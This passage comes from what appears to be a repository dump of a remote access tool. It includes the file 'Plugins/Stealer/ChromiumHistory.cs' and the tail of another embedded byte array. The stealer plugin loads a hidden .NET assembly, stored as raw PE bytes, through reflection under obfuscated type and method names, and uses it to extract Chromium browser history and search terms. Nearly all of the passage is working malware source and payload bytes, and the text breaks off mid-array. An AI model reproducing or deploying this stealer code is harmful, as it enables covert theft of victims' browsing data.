0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00,\n\t0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, 0x46, 0x00, 0x69, 0x00,\n\t0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, 0x00, 0x00, 0x54, 0x00,\n\t0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x6C, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0xB0, 0x04, 0xAC, 0x01, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00,\n\t0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00,\n\t0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00,\n\t0x6F, 0x00, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00,\n\t0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00,\n\t0x30, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x02, 0x00, 0x01, 0x00, 0x46, 0x00,\n\t0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00,\n\t0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00,\n\t0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,\n\t0x30, 0x00, 0x08, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00,\n\t0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00,\n\t0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x2E, 0x00,\n\t0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00,\n\t0x3A, 0x00, 0x0D, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00,\n\t0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x57, 0x00, 0x65, 0x00,\n\t0x62, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x28, 0x00, 0x02, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00,\n\t0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00,\n\t0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00,\n\t0x20, 0x00, 0x00, 0x00, 0x42, 0x00, 0x0D, 0x00, 0x01, 0x00, 0x4F, 0x00,\n\t0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00,\n\t0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00,\n\t0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x57, 0x00, 0x65, 0x00,\n\t0x62, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x34, 0x00, 0x08, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00,\n\t0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00,\n\t0x30, 0x00, 0x00, 0x00, 0x38, 0x00, 0x08, 0x00, 0x01, 0x00, 0x41, 0x00,\n\t0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x62, 0x00, 0x6C, 0x00,\n\t0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00,\n\t0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x30, 0x00, 0x2E, 0x00,\n\t0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x70, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x98, 0x3F, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\n\t\t};\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/ChromiumHistory.cs",
    "content": "﻿using System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class ChromiumHistory\n    {\n\t\t//select keyword_search_terms.term, urls.url, urls.last_visit_time from keyword_search_terms join urls on keyword_search_terms.url_id = urls.id\n\n\t\tinternal static List<object[]> Recovery()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tSystem.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Chrome);\n\t\t\t\tSystem.Reflection.MethodInfo method = assemblytoload.GetType(\"Y7M9K2N6Q9.T8E9A5M1I7M0G6F8\").GetMethod(\"AP7Z9V5B3W2\");\n\t\t\t\tobject obj = assemblytoload.CreateInstance(method.Name);\n\t\t\t\tList<object[]> chrome = (List<object[]>)method.Invoke(obj, null);\n\t\t\t\treturn chrome;\n\t\t\t}\n\t\t\tcatch { return null; }\n\t\t}\n\ninternal static readonly byte[] Chrome = {\n\t0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,\n\t0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD,\n\t0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70,\n\t0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,\n\t0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20,\n\t0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,\n\t0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00,\n\t0x4C, 0x01, 0x03, 0x00, 0xC7, 0x4F, 0x58, 0xF2, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x22, 0x20, 0x0B, 0x01, 0x30, 0x00,\n\t0x00, 0x6A, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0xB6, 0x88, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,\n\t0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x60, 0x85, 0x00, 0x00, 0x10, 0x00,\n\t0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x64, 0x88, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00,\n\t0x00, 0xA0, 0x00, 0x00, 0x68, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0xC0, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x48, 0x88, 0x00, 0x00,\n\t0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,\n\t0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x08, 0x20, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,\n\t0xCC, 0x68, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x00,\n\t0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x73, 0x72,\n\t0x63, 0x00, 0x00, 0x00, 0x68, 0x03, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00,\n\t0x00, 0x04, 0x00, 0x00, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40,\n\t0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00,\n\t0x00, 0xC0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x88, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x05, 0x00,\n\t0x2C, 0x49, 0x00, 0x00, 0x1C, 0x3F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x05, 0x00, 0x6F, 0x00, 0x00, 0x00,\n\t0x01, 0x00, 0x00, 0x11, 0x73, 0x10, 0x00, 0x00, 0x0A, 0x0A, 0x28, 0x5F,\n\t0x00, 0x00, 0x06, 0x6F, 0x11, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x41, 0x12,\n\t0x01, 0x28, 0x12, 0x00, 0x00, 0x0A, 0x0C, 0x06, 0x1B, 0x8D, 0x10, 0x00,\n\t0x00, 0x01, 0x25, 0x16, 0x08, 0x6F, 0x10, 0x00, 0x00, 0x06, 0xA2, 0x25,\n\t0x17, 0x08, 0x6F, 0x16, 0x00, 0x00, 0x06, 0xA2, 0x25, 0x18, 0x08, 0x6F,\n\t0x14, 0x00, 0x00, 0x06, 0xA2, 0x25, 0x19, 0x08, 0x6F, 0x1C, 0x00, 0x00,\n\t0x06, 0xA2, 0x25, 0x1A, 0x08, 0x6F, 0x18, 0x00, 0x00, 0x06, 0xA2, 0x6F,\n\t0x13, 0x00, 0x00, 0x0A, 0x12, 0x01, 0x28, 0x14, 0x00, 0x00, 0x0A, 0x2D,\n\t0xB6, 0xDE, 0x0E, 0x12, 0x01, 0xFE, 0x16, 0x03, 0x00, 0x00, 0x1B, 0x6F,\n\t0x15, 0x00, 0x00, 0x0A, 0xDC, 0x06, 0x2A, 0x00, 0x01, 0x10, 0x00, 0x00,\n\t0x02, 0x00, 0x11, 0x00, 0x4E, 0x5F, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00,\n\t0x1B, 0x30, 0x05, 0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x11,\n\t0x73, 0x10, 0x00, 0x00, 0x0A, 0x0A, 0x28, 0x6B, 0x00, 0x00, 0x06, 0x6F,\n\t0x16, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x26, 0x12, 0x01, 0x28, 0x17, 0x00,\n\t0x00, 0x0A, 0x0C, 0x06, 0x18, 0x8D, 0x10, 0x00, 0x00, 0x01, 0x25, 0x16,\n\t0x08, 0x6F, 0x86, 0x00, 0x00, 0x06, 0xA2, 0x25, 0x17, 0x08, 0x6F, 0x88,\n\t0x00, 0x00, 0x06, 0xA2, 0x6F, 0x13, 0x00, 0x00, 0x0A, 0x12, 0x01, 0x28,\n\t0x18, 0x00, 0x00, 0x0A, 0x2D, 0xD1, 0xDE, 0x0E, 0x12, 0x01, 0xFE, 0x16,\n\t0x05, 0x00, 0x00, 0x1B, 0x6F, 0x15, 0x00, 0x00, 0x0A, 0xDC, 0x06, 0x2A,\n\t0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x11, 0x00, 0x33, 0x44, 0x00, 0x0E,\n\t0x00, 0x00, 0x00, 0x00, 0x1E, 0x02, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x2A,\n\t0x13, 0x30, 0x06, 0x00, 0xF5, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x11,\n\t0x02, 0x1F, 0x0A, 0x8D, 0x1B, 0x00, 0x00, 0x01, 0x25, 0xD0, 0x31, 0x00,\n\t0x00, 0x04, 0x28, 0x1A, 0x00, 0x00, 0x0A, 0x7D, 0x06, 0x00, 0x00, 0x04,\n\t0x02, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x03, 0x28, 0x1B, 0x00, 0x00, 0x0A,\n\t0x39, 0xCB, 0x00, 0x00, 0x00, 0x17, 0x03, 0x1F, 0x20, 0x17, 0x19, 0x15,\n\t0x28, 0x1C, 0x00, 0x00, 0x0A, 0x17, 0x28, 0x1D, 0x00, 0x00, 0x0A, 0x69,\n\t0x28, 0x1E, 0x00, 0x00, 0x0A, 0x0A, 0x17, 0x12, 0x00, 0x15, 0x6A, 0x16,\n\t0x28, 0x1F, 0x00, 0x00, 0x0A, 0x17, 0x8D, 0x25, 0x00, 0x00, 0x01, 0x25,\n\t0x16, 0x17, 0x9E, 0x28, 0x20, 0x00, 0x00, 0x0A, 0x02, 0x28, 0x21, 0x00,\n\t0x00, 0x0A, 0x06, 0x6F, 0x22, 0x00, 0x00, 0x0A, 0x7D, 0x01, 0x00, 0x00,\n\t0x04, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x02, 0x7B, 0x01, 0x00, 0x00, 0x04,\n\t0x16, 0x1F, 0x0F, 0x6F, 0x23, 0x00, 0x00, 0x0A, 0x72, 0x01, 0x00, 0x00,\n\t0x70, 0x6F, 0x24, 0x00, 0x00, 0x0A, 0x2C, 0x0B, 0x72, 0x21, 0x00, 0x00,\n\t0x70, 0x73, 0x25, 0x00, 0x00, 0x0A, 0x7A, 0x02, 0x7B, 0x01, 0x00, 0x00,\n\t0x04, 0x1F, 0x34, 0x91, 0x2C, 0x0B, 0x72, 0x67, 0x00, 0x00, 0x70, 0x73,\n\t0x25, 0x00, 0x00, 0x0A, 0x7A, 0x02, 0x02, 0x1F, 0x10, 0x18, 0x28, 0x05,\n\t0x00, 0x00, 0x06, 0xD1, 0x7D, 0x05, 0x00, 0x00, 0x04, 0x02, 0x02, 0x1F,\n\t0x38, 0x1A, 0x28, 0x05, 0x00, 0x00, 0x06, 0x7D, 0x02, 0x00, 0x00, 0x04,\n\t0x02, 0x7B, 0x02, 0x00, 0x00, 0x04, 0x73, 0x26, 0x00, 0x00, 0x0A, 0x7E,\n\t0x27, 0x00, 0x00, 0x0A, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x2D, 0x08, 0x02,\n\t0x17, 0x6A, 0x7D, 0x02, 0x00, 0x00, 0x04, 0x02, 0x1F, 0x64, 0x6A, 0x28,\n\t0x0D, 0x00, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00,\n\t0x33, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x11, 0x04, 0x1E, 0xFE, 0x02,\n\t0x04, 0x16, 0xFE, 0x01, 0x60, 0x2C, 0x03, 0x16, 0x6A, 0x2A, 0x16, 0x6A,\n\t0x0A, 0x04, 0x17, 0x59, 0x0B, 0x16, 0x0C, 0x2B, 0x14, 0x06, 0x1E, 0x62,\n\t0x02, 0x7B, 0x01, 0x00, 0x00, 0x04, 0x03, 0x08, 0x58, 0x91, 0x6E, 0x60,\n\t0x0A, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x31, 0xE8, 0x06, 0x2A, 0x00,\n\t0x13, 0x30, 0x06, 0x00, 0xFB, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x11,\n\t0x04, 0x17, 0x58, 0x10, 0x02, 0x1E, 0x8D, 0x1B, 0x00, 0x00, 0x01, 0x0A,\n\t0x04, 0x03, 0x59, 0x0B, 0x16, 0x0C, 0x07, 0x16, 0xFE, 0x01, 0x07, 0x1F,\n\t0x09, 0xFE, 0x02, 0x60, 0x2C, 0x03, 0x16, 0x6A, 0x2A, 0x07, 0x17, 0x33,\n\t0x17, 0x06, 0x16, 0x02, 0x7B, 0x01, 0x00, 0x00, 0x04, 0x03, 0x91, 0x1F,\n\t0x7F, 0x5F, 0xD2, 0x9C, 0x06, 0x16, 0x28, 0x29, 0x00, 0x00, 0x0A, 0x2A,\n\t0x07, 0x1F, 0x09, 0x33, 0x02, 0x17, 0x0C, 0x17, 0x0D, 0x1D, 0x13, 0x04,\n\t0x16, 0x13, 0x05, 0x08, 0x2C, 0x15, 0x06, 0x16, 0x02, 0x7B, 0x01, 0x00,\n\t0x00, 0x04, 0x04, 0x17, 0x59, 0x91, 0x9C, 0x04, 0x17, 0x59, 0x10, 0x02,\n\t0x17, 0x13, 0x05, 0x03, 0x13, 0x06, 0x04, 0x17, 0x59, 0x13, 0x07, 0x2B,\n\t0x7D, 0x11, 0x07, 0x17, 0x59, 0x03, 0x32, 0x4A, 0x06, 0x11, 0x05, 0x02,\n\t0x7B, 0x01, 0x00, 0x00, 0x04, 0x11, 0x07, 0x91, 0x09, 0x17, 0x59, 0x1D,\n\t0x5F, 0x1F, 0x1F, 0x5F, 0x63, 0xD2, 